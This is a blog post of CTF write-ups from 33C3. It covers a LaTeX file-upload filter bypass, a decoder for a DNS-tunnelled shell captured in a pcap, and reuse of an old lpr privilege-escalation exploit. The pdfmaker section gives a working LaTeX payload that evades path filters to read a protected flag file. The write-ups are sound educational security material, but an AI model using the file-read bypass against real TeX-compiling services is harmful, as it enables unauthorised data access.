Published: Fri 30 December 2016
By Mathias Payer
In CTF .
tags: CTF 33C3 LaTeX network oldschool
pdfmaker (75 points)
The first challenge I tried was pdfmaker. Surprisingly I spent way too much time
on this simple starter challenge. I initially planned to use this challenge as a
warm up but ended spending about 10 hours on it, mostly due to me overlooking
simpler solutions that are obvious in hindsight. On the route to this challenge
I learned a lot about TeX and LaTeX that I honestly would not have needed to
know and even started asking questions on Stack Overflow.
The pdfmaker service allows you to upload tex files, sty files, and a bunch of
other types of files and to compile tex files. The service also allows you to
view generated log files. Interestingly, when uploading files the text is
filtered and lines containing .. , / , or \x are removed. The removal of
the first two types of lines is obvious as the flag is available in ../../flag
but the last one took me longer to figure out. So the challenge is to write a
LaTeX program that opens the flag and prints it to the log file. What makes the
challenge harder is that the LaTeX installation does not have any auxiliary
packages available, so the LaTeX document has to be self sufficient.
Overcoming the .. restriction is easy as two . can easily be concatenated.
Overcoming the / restriction was much much much harder. I soon figured that
the log file contains 2015/Debian in the first line which contains a /
character that we could use. The next question is how to access a substring or
character inside a string through LaTeX which is surprisingly hard and took me
way too long to figure out. I assumed that we cannot use libraries but what I
forgot was that we can upload libraries. (This sounds simple but was an amazing
aha moment for me after spending such a long time on this challenge.)
First, we upload a simple tex file first.tex and compile it to generate a log
file create tex first :
\documentclass{minimal}
\begin{document}
\end{document}
\q
Then we compile it compile first and upload a second tex file create tex
second :
\documentclass{minimal}
\usepackage{ystring}
\def\b{.}
\def\y{.}
\def\z{flag}
\newread\file
\immediate\openin\file=first.log
\immediate\read\file to\fileline
\immediate\message{HERE}
\StrMid{\fileline}{62}{62}[\c]
\immediate\message{\c}
\immediate\message{END}
\immediate\closein\file
\immediate\openin\file=\b\b\c\b\b\c\z
\loop\unless\ifeof\file
\read\file to\fileline
\message{\fileline}
\repeat
\closein\file
\begin{document}
\end{document}
This LaTeX file opens the first.log log file and uses the ystring library to
extract the 62nd character, concatenates the individual components to open the
flag and print it to the log file. Now, to use the ystring library we need to
upload it. We start by copying xstring.sty and xstring.tex to local files
and replace all occurrences of xs with ys to overcome the last filter
restriction and then upload these two files as well. After compiling compile
second we can access the log file and get the flag. The log file can then be
displayed through show log second and we get the flag:
33C3_pdflatex_1s_t0t4lly_s3cur3!
Note that I've also went through the trouble to get a stack exchange account and
asked my LaTeX question there .
exfil (100 points)
Exfil was a fun forensics challenge that asked us to extract data from a pcap.
The pcap file contains a remote shell session of an attacker that is obfuscated
through an UDP/DNS channel that includes a lot of redundancy. Thankfully we
received the server along with the challenge which made decoding much easier. I
wrote a Python-based decode that dumps both the server side stream and the
client side stream to files. The client side stream allowed me to extract a
private key and the server side stream allowed me to dump server.docx.gpg
which could then be decoded with the extracted private key:
#!/usr/bin/env python
from dnslib import *
import dpkt
import base64
domain = 'eat-sleep-pwn-repeat.de'
def decode_b32(s):
s = s.upper()
for i in range(10):
try:
return base64.b32decode(s)
except:
s += b'='
raise ValueError('Invalid base32')
def parse_name(label):
return decode_b32(b''.join(label.label[:-domain.count('.')-1]))
def parse_nameH(label):
label = label[:-len(domain)-2]
label = label.translate(None, '.')
return decode_b32(label)
sseq = 0
sack = 0
cdata = b''
sdata = b''
f = open('dump.pcap')
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
#print(ts, len(buf))
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
udp = ip.data
#dns = dpkt.dns.DNS(udp.data)
#for qname in dns.qd:
# print binascii.hexlify(parse_name(qname.name))
query = DNSRecord.parse(udp.data)
packet = parse_name(query.q.qname)
conn_id, seq, ack = struct.unpack('<HHH', packet[:6])
data = packet[6:]
#print data
if seq == sack:
#print('s %d %d %d\n' % (conn_id, seq, ack))
sdata += data
#print data
sack += len(data)
for x in query.rr:
pack2 = parse_nameH(str(x.rdata))
conn_id2, seq2, ack2 = struct.unpack('<HHH', pack2[:6])
data2 = pack2[6:]
if seq2 > sseq:
cdata += data2
print data2
sseq = seq2
if seq2 == sseq and len(cdata) < sseq:
cdata += data2
print('x %d %d %d %d %d\n' % (conn_id2, seq2, ack2, sack, sseq))
#if ack2 > sseq:
# forget = ack2 - sseq
# #cdata += data2
# sseq += forget
# #print('c %d %d %d\n' % (conn_id2, seq2, ack2))
#print(udp.data[13:udp.data.index('eat')-1])
#x = decode_b32(udp.data[13:udp.data.index('eat')-1])
#print(str(x))
print "sdata"
print sdata
print "cdata"
print cdata
secret = sdata[sdata.index('START_OF_FILE')+13:sdata.index('END_OF_FILE')]
with open('secret.docx.gpg', 'w') as f:
f.write(secret)
f.close()
Running the decryption gpg --decrypt secret.docx.gpg > secret.docx then yields
the flag 3C3_g00d_d1s3ct1on_sk1llz_h0mie .
0x90 (150 points)
The 0x90 challenge was a fun blast from the past where we connected to a
Slackware 1.01 instance from the early 90ies that had a vulnerable version of
lpr with a known privilege escalation. So we could simply google for it and
just reuse the exploit .
Uploading the exploit is fun due to the weird remote connection not pasting
escape characters correctly. But I somehow managed to open vi, go into edit
mode, paste the C file, compile it through gcc exp.c and run it. The flag can
then be accessed through cat /flag.txt and yields
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3 .
Misc
Overall, this was a fun CTF but I spent way too much time on the pdfmaker. I've
also looked at the someeta1 challenge which looked like fun but did not have
enough time to decode all the templated until the CTF was over.